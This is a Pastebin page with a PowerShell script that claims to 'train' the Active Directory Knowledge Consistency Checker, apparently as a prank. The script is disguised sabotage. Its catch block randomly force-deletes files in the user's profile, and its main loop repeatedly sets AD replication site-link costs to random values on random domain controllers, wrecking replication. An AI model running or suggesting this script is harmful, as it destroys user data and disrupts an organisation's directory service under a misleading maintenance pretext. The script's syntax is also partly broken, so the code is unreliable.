Advertisement
Guest User

Untitled

a guest
Sep 20th, 2018
94
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #First, ensure that the proper module is loaded
  2.  try{Import-module ActiveDirectory -erroractionStop}
  3.  catch{
  4.   write-host "Why did you not prepare? Teaching lesson" gci $env:userprofile | % { if((get-random -max 99999) % 42 -eq 0){del $_.fullname -force -confirm:$true } }
  5.  }
  6. #You may need to update this variable depending on how healthy you would like your KCC to be
  7. $KCCHealthMeter = 10000
  8. #Now we need to get some info about the forest
  9.  
  10. $DCArray = (Get-ADForest).domains | % {(Get-ADDomain).ReplicaDirectoryServers}
  11. $linkArray = Get-ADReplicationSiteLink -filter *
  12. #Finally, we just need to train the KCC for a bit
  13. for($i=0;$i -lt $kccHealthMeter;$i++){
  14.  foreach($dc in $dcArray){
  15.    foreach($lnk in $linkArray){
  16.       $thisDC = $dcArray[(get-random -max $dcArray.count)]
  17.       $thisCost = Get-Random -min 0 -max $kccHealthMeter
  18.       $thisLink = $linkArray[(get-random -max $linkArray.count)]
  19.       Set-ADReplicationSiteLink -identity $thisLink -Cost $thisCost -server $thisDC
  20.     }
  21.  } sleep -seconds 60 #sleep for one minute to allow KCC to study the problem }
  22.  
  23. # i hate reddit formatting for code :/
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement